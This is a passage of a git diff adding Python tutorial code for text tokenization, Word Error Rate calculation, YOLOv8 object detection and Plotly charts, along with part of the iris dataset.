a/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py new file mode 100644 index 00000000..ba70f355 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py @@ -0,0 +1,7 @@ +from transformers import BertTokenizer + +tk = BertTokenizer.from_pretrained('bert-base-uncased') +f = open('reviews.txt', 'r') +for l in f: + res = tk.tokenize(l.strip()) + print(res) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py new file mode 100644 index 00000000..8a1d0ef3 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py @@ -0,0 +1,13 @@ +from textblob import TextBlob + +def tokenize(file): + tok = [] + f = open(file, 'r') + for l in f: + lst = TextBlob(l).words + tok.append(lst) + return tok + +tokens = tokenize('reviews.txt') +for e in tokens: + print(e) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py new file mode 100644 index 00000000..0ebbf035 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py @@ -0,0 +1,8 @@ +from tokenizers import Tokenizer + +tk = Tokenizer.from_file("tokenizer-wiki.json") + +f = open('reviews.txt', 'r') +for l in f: + res = tk.encode(l.strip()) + print(res.tokens) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py new file mode 100644 index 00000000..68eb4e5a --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py @@ -0,0 +1,13 @@ +from tokenizers import Tokenizer +from tokenizers.models import BPE +from tokenizers.pre_tokenizers import Whitespace +from tokenizers.trainers import BpeTrainer + +tk = Tokenizer(BPE(unk_token="[UNK]")) +tr = BpeTrainer() +tk.pre_tokenizer = Whitespace() + +f = [f"wikitext-103-raw\wiki.{s}.raw" for s in ["test", "train", "valid"]] +tk.train(f, tr) + +tk.save("tokenizer-wiki.json") diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py new file mode 100644 index 00000000..9bcc3f2d --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py @@ -0,0 +1,13 @@ +from nltk import word_tokenize + +def tokenize(file): + tok = [] + f = open(file, 'r') + for l in f: + lst = word_tokenize(l) + tok.append(lst) + return tok + +tokens = tokenize('reviews.txt') +for e in tokens: + print(e) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py new file mode 100644 index 00000000..9a709d06 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py @@ -0,0 +1,16 @@ +from nltk.stem import WordNetLemmatizer + +word_lst = [] +def lemmatizer(file): + lem_lst = [] + lem = WordNetLemmatizer() + f = open(file, 'r') + for l in f: + word_lst.append(l.strip()) + w = lem.lemmatize(str(l.strip())) + lem_lst.append(w) + return lem_lst + +lem_lst = lemmatizer('reviews.txt') +for i in range(len(word_lst)): + print(word_lst[i]+"-->"+lem_lst[i]) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py new file mode 100644 index 00000000..baa6d41f --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py @@ -0,0 +1,7 @@ +from tokenizers import BertWordPieceTokenizer + +tk = BertWordPieceTokenizer("bert-word-piece-vocab.txt", lowercase=True) +f = open('reviews.txt', 'r') +for l in f: + res = tk.encode(l.strip()) + print(res.tokens) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py new file mode 100644 index 00000000..305033c8 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py @@ -0,0 +1,7 @@ +from transformers import XLNetTokenizer + +tk = XLNetTokenize.from_pretrained('xlnet-base-cased') +f = open('reviews.txt', 'r') +for l in f: + res = tk.tokenize(l.strip()) + print(res) diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md new file mode 100644 index 00000000..8e33c7f9 --- /dev/null +++ b/machine-learning/nlp/wer-score/README.md @@ -0,0 +1,6 @@ +# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python) +- `pip install -r requirements.txt` +- `wer_basic.py` is the basic implementation of WER algorithm. +- `wer_accurate.py` is the accurate implementation of WER algorithm. +- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/). +- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/). \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt new file mode 100644 index 00000000..577cfc06 --- /dev/null +++ b/machine-learning/nlp/wer-score/requirements.txt @@ -0,0 +1,3 @@ +numpy +jiwer +evaluate \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py new file mode 100644 index 00000000..b5dbc29a --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_accurate.py @@ -0,0 +1,44 @@ +import numpy as np + +def calculate_wer(reference, hypothesis): + # Split the reference and hypothesis sentences into words + ref_words = reference.split() + hyp_words = hypothesis.split() + # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1 + # The extra row and column are for the case when one of the strings is empty + d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1)) + # The number of operations for an empty hypothesis to become the reference + # is just the number of words in the reference (i.e., deleting all words) + for i in range(len(ref_words) + 1): + d[i, 0] = i + # The number of operations for an empty reference to become the hypothesis + # is just the number of words in the hypothesis (i.e., inserting all words) + for j in range(len(hyp_words) + 1): + d[0, j] = j + # Iterate over the words in the reference and hypothesis + for i in range(1, len(ref_words) + 1): + for j in range(1, len(hyp_words) + 1): + # If the current words are the same, no operation is needed + # So we just take the previous minimum number of operations + if ref_words[i - 1] == hyp_words[j - 1]: + d[i, j] = d[i - 1, j - 1] + else: + # If the words are different, we consider three operations: + # substitution, insertion, and deletion + # And we take the minimum of these three possibilities + substitution = d[i - 1, j - 1] + 1 + insertion = d[i, j - 1] + 1 + deletion = d[i - 1, j] + 1 + d[i, j] = min(substitution, insertion, deletion) + # The minimum number of operations to transform the hypothesis into the reference + # is in the bottom-right cell of the matrix + # We divide this by the number of words in the reference to get the WER + wer = d[len(ref_words), len(hyp_words)] / len(ref_words) + return wer + + + +if __name__ == "__main__": + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(calculate_wer(reference, hypothesis)) diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py new file mode 100644 index 00000000..9cc3917b --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_basic.py @@ -0,0 +1,21 @@ +def calculate_wer(reference, hypothesis): + ref_words = reference.split() + hyp_words = hypothesis.split() + + # Counting the number of substitutions, deletions, and insertions + substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp) + deletions = len(ref_words) - len(hyp_words) + insertions = len(hyp_words) - len(ref_words) + + # Total number of words in the reference text + total_words = len(ref_words) + + # Calculating the Word Error Rate (WER) + wer = (substitutions + deletions + insertions) / total_words + return wer + + +if __name__ == "__main__": + reference = "the cat sat on the mat" + hypothesis = "the cat mat" + print(calculate_wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py new file mode 100644 index 00000000..818bf408 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_evaluate.py @@ -0,0 +1,9 @@ +import evaluate + +wer = evaluate.load("wer") + +# reference = "the cat sat on the mat" +# hypothesis = "the cat mat" +reference = "The cat is sleeping on the mat." +hypothesis = "The cat is playing on mat." +print(wer.compute(references=[reference], predictions=[hypothesis])) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py new file mode 100644 index 00000000..28fa9572 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_jiwer.py @@ -0,0 +1,8 @@ +from jiwer import wer + +if __name__ == "__main__": + # reference = "the cat sat on the mat" + # hypothesis = "the cat mat" + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4 new file mode 100644 index 00000000..44305cce Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md index 921fed32..a73112ac 100644 --- a/machine-learning/object-detection/README.md +++ b/machine-learning/object-detection/README.md @@ -1,20 +1,19 @@ # [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python) To run this: - `pip3 install -r requirements.txt` -- Download the model weights and put them in `weights` folder. - To generate a object detection image on `images/dog.jpg`: ``` - python yolo_opencv.py images/dog.jpg + python yolov8_opencv.py images/dog.jpg ``` - A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image. + A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image. - For live object detection: ``` - python live_yolo_opencv.py + python live_yolov8_opencv.py ``` - If you want to read from a video file and make predictions: ``` - python read_video.py video.avi + python read_video_yolov8.py 1.mp4 ``` This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi` -- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file. +- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py` - Feel free to edit the codes for your needs! diff --git a/machine-learning/object-detection/live_yolo_opencv.py b/machine-learning/object-detection/live_yolo_opencv.py index 1a67f116..7c9f1eef 100644 --- a/machine-learning/object-detection/live_yolo_opencv.py +++ b/machine-learning/object-detection/live_yolo_opencv.py @@ -16,7 +16,11 @@ net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] cap = cv2.VideoCapture(0) @@ -76,9 +80,10 @@ x, y = boxes[i][0], boxes[i][1] w, h = boxes[i][2], boxes[i][3] # draw a bounding box rectangle and label on the image - color = [int(c) for c in colors[class_ids[i]]] + + color = [int(c) for c in COLORS[class_ids[i]]] cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) - text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + text = f"{LABELS[class_ids[i]]}: {confidences[i]:.2f}" # calculate text width & height to draw the transparent boxes as background of the text (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] text_offset_x = x @@ -97,4 +102,4 @@ break cap.release() -cv2.destroyAllWindows() \ No newline at end of file +cv2.destroyAllWindows() diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py new file mode 100644 index 00000000..c91b13d2 --- /dev/null +++ b/machine-learning/object-detection/live_yolov8_opencv.py @@ -0,0 +1,75 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + + +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +model = YOLO("yolov8n.pt") + +cap = cv2.VideoCapture(0) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + # run inference on the image + # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/object-detection/read_video.py b/machine-learning/object-detection/read_video.py index 123bb742..752d37a7 100644 --- a/machine-learning/object-detection/read_video.py +++ b/machine-learning/object-detection/read_video.py @@ -17,7 +17,11 @@ net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] # read the file from the command line video_file = sys.argv[1] cap = cv2.VideoCapture(video_file) diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py new file mode 100644 index 00000000..3d02fddf --- /dev/null +++ b/machine-learning/object-detection/read_video_yolov8.py @@ -0,0 +1,79 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# read the file from the command line +video_file = sys.argv[1] +cap = cv2.VideoCapture(video_file) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + try: + overlay = image.copy() + except: + break + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt index ad07e21c..089e32c6 100644 --- a/machine-learning/object-detection/requirements.txt +++ b/machine-learning/object-detection/requirements.txt @@ -1,3 +1,4 @@ opencv-python numpy -matplotlib \ No newline at end of file +matplotlib +ultralytics \ No newline at end of file diff --git a/machine-learning/object-detection/utils.py b/machine-learning/object-detection/utils.py index d4446ae5..b280bfd0 100644 --- a/machine-learning/object-detection/utils.py +++ b/machine-learning/object-detection/utils.py @@ -57,6 +57,7 @@ def nms(boxes, iou_thresh): """ Performs Non maximal suppression technique to `boxes` using `iou_thresh` threshold """ + # print(boxes.shape) # If there are no bounding boxes do nothing if len(boxes) == 0: return boxes @@ -261,5 +262,6 @@ def get_color(c, x, max_val): a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k', bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6)) + plt.axis("off") plt.savefig("output.jpg") plt.show() diff --git a/machine-learning/object-detection/yolo_opencv.py b/machine-learning/object-detection/yolo_opencv.py index 7ab289b5..d4d7a86b 100644 --- a/machine-learning/object-detection/yolo_opencv.py +++ b/machine-learning/object-detection/yolo_opencv.py @@ -37,7 +37,11 @@ # get all the layer names ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] # feed forward (inference) and get the network output # measure how much it took in seconds start = time.perf_counter() diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py new file mode 100644 index 00000000..85b5a298 --- /dev/null +++ b/machine-learning/object-detection/yolov8_opencv.py @@ -0,0 +1,68 @@ +import numpy as np +import os +import cv2 +import time +import sys +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# loading all the class labels (objects) +labels = open("data/coco.names").read().strip().split("\n") + +# generating colors for each object for later plotting +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +path_name = sys.argv[1] +image = cv2.imread(path_name) +file_name = os.path.basename(path_name) # "dog.jpg" +filename, ext = file_name.split(".") # "dog", "jpg" + +# measure how much it took in seconds +start = time.perf_counter() +# run inference on the image +# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments +results = model.predict(image, conf=CONFIDENCE)[0] +time_took = time.perf_counter() - start +print(f"Time took: {time_took:.2f}s") +print(results.boxes.data) + +# loop over the detections +for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + +# display output image +cv2.imshow("Image", image) +cv2.waitKey(0) +# save output image to disk +cv2.imwrite(filename + "_yolo8." + ext, image) diff --git a/machine-learning/plotly-visualization/Plotly_Viz.ipynb b/machine-learning/plotly-visualization/Plotly_Viz.ipynb new file mode 100644 index 00000000..4e61cb03 --- /dev/null +++ b/machine-learning/plotly-visualization/Plotly_Viz.ipynb @@ -0,0 +1,237 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import plotly.offline as py\n", + "import plotly.graph_objs as go\n", + "import plotly.figure_factory as ff\n", + "import pandas as pd\n", + "import numpy as np\n", + "import yfinance as yf\n", + "import pandas_datareader as pdr\n", + "\n", + "py.init_notebook_mode()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "x = [ i for i in range(-10,10) ]\n", + "\n", + "y = [ i*2 for i in range(-10,10) ]\n", + "\n", + "xaxis = go.layout.XAxis(title=\"X Axis\")\n", + "yaxis = go.layout.YAxis(title=\"Y Axis\")\n", + "\n", + "fig = go.Figure(layout=go.Layout(title=\"Simple Line Plot\", xaxis=xaxis, yaxis=yaxis))\n", + "fig.add_trace(go.Scatter(x=x, y=y))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def sigmoid(x):\n", + " return 1 / (1 + np.exp((-1) * x))\n", + "\n", + "x = sorted(np.random.random(100) * 10 - 5)\n", + "y = [ sigmoid(i) for i in x ]\n", + "\n", + "xaxis = go.layout.XAxis(title=\"X Axis\")\n", + "yaxis = go.layout.YAxis(title=\"Y Axis\")\n", + "\n", + "fig=go.Figure(layout=go.Layout(title=\"Sigmoid Plot\",xaxis=xaxis, yaxis=yaxis))\n", + "fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color=\"red\")))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "l = []\n", + "\n", + "for _ in range(5):\n", + " l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ])\n", + "\n", + "l = np.array(l)\n", + "\n", + "figure = go.Figure(layout=go.Layout(title=\"Simple Scatter Example\", xaxis=go.layout.XAxis(title=\"X\"), yaxis=go.layout.YAxis(title=\"Y\")))\n", + "for i in range(len(l)):\n", + " figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode=\"markers\", name=f\" Distribution {i+1} \"))\n", + "figure.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "dist = np.random.normal(loc=0, scale=1, size=50000)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "figure = go.Figure()\n", + "figure.add_trace(go.Histogram(x=dist,))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "\n", + "\n", + "d=[{\"values\":np.random.normal(0,0.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 0.5\"},\n", + " {\"values\":np.random.normal(0,1,10000), \"information\": \" Normal Distribution with mean 0 and std= 1\"},\n", + " {\"values\":np.random.normal(0,1.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 1.5\"},\n", + " {\"values\":np.random.normal(0,2,10000), \"information\": \" Normal Distribution with mean 0 and std= 2\"},\n", + " {\"values\":np.random.normal(0,5,10000), \"information\": \" Normal Distribution with mean 0 and std= 5\"}]\n", + "\n", + "ff.create_distplot([ele[\"values\"] for ele in d], group_labels=[ele[\"information\"] for ele in d], show_hist=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "x = np.random.randint(low=5, high=100, size=15)\n", + "y = np.random.randint(low=5, high=100 ,size=15)\n", + "z = np.random.randint(low=5, high=100, size=15)\n", + "\n", + "fig = go.Figure()\n", + "fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode=\"markers\"))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "df_iris = pd.read_csv(\"iris.csv\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "fig = go.Figure()\n", + "species_types = df_iris.species.unique().tolist()\n", + "\n", + "for specie in species_types:\n", + " b = df_iris.species == specie\n", + " fig.add_trace(go.Scatter3d(x=df_iris[\"sepal_length\"][b], y=df_iris[\"sepal_width\"][b], z=df_iris[\"petal_width\"][b], name=specie, mode=\"markers\"))\n", + "\n", + "\n", + "fig.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "yf.pdr_override()\n", + "\n", + "symbols = [\"AAPL\",\"MSFT\"]\n", + "stocks = []\n", + "for symbol in symbols:\n", + " stocks.append(pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\"))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "fig = go.Figure()\n", + "\n", + "for stock,symbol in zip(stocks,symbols):\n", + " fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol))\n", + "\n", + "fig.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "df_aapl = pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.6" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/machine-learning/plotly-visualization/README.md b/machine-learning/plotly-visualization/README.md new file mode 100644 index 00000000..c32d4a56 --- /dev/null +++ b/machine-learning/plotly-visualization/README.md @@ -0,0 +1,8 @@ +# [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python) +To run this on a jupyter lab: +- Install Jupyter Lab +- Install plotly extension: + ```bash + $ jupyter labextension install jupyterlab-plotly + ``` +- `pip3 install -r requirements.txt` diff --git a/machine-learning/plotly-visualization/iris.csv b/machine-learning/plotly-visualization/iris.csv new file mode 100644 index 00000000..381891c6 --- /dev/null +++ b/machine-learning/plotly-visualization/iris.csv @@ -0,0 +1,151 @@ +sepal_length,sepal_width,petal_length,petal_width,species +5.1,3.5,1.4,0.2,setosa +4.9,3.0,1.4,0.2,setosa +4.7,3.2,1.3,0.2,setosa +4.6,3.1,1.5,0.2,setosa +5.0,3.6,1.4,0.2,setosa +5.4,3.9,1.7,0.4,setosa +4.6,3.4,1.4,0.3,setosa +5.0,3.4,1.5,0.2,setosa +4.4,2.9,1.4,0.2,setosa +4.9,3.1,1.5,0.1,setosa +5.4,3.7,1.5,0.2,setosa +4.8,3.4,1.6,0.2,setosa +4.8,3.0,1.4,0.1,setosa +4.3,3.0,1.1,0.1,setosa +5.8,4.0,1.2,0.2,setosa +5.7,4.4,1.5,0.4,setosa +5.4,3.9,1.3,0.4,setosa +5.1,3.5,1.4,0.3,setosa +5.7,3.8,1.7,0.3,setosa +5.1,3.8,1.5,0.3,setosa +5.4,3.4,1.7,0.2,setosa +5.1,3.7,1.5,0.4,setosa +4.6,3.6,1.0,0.2,setosa +5.1,3.3,1.7,0.5,setosa +4.8,3.4,1.9,0.2,setosa +5.0,3.0,1.6,0.2,setosa 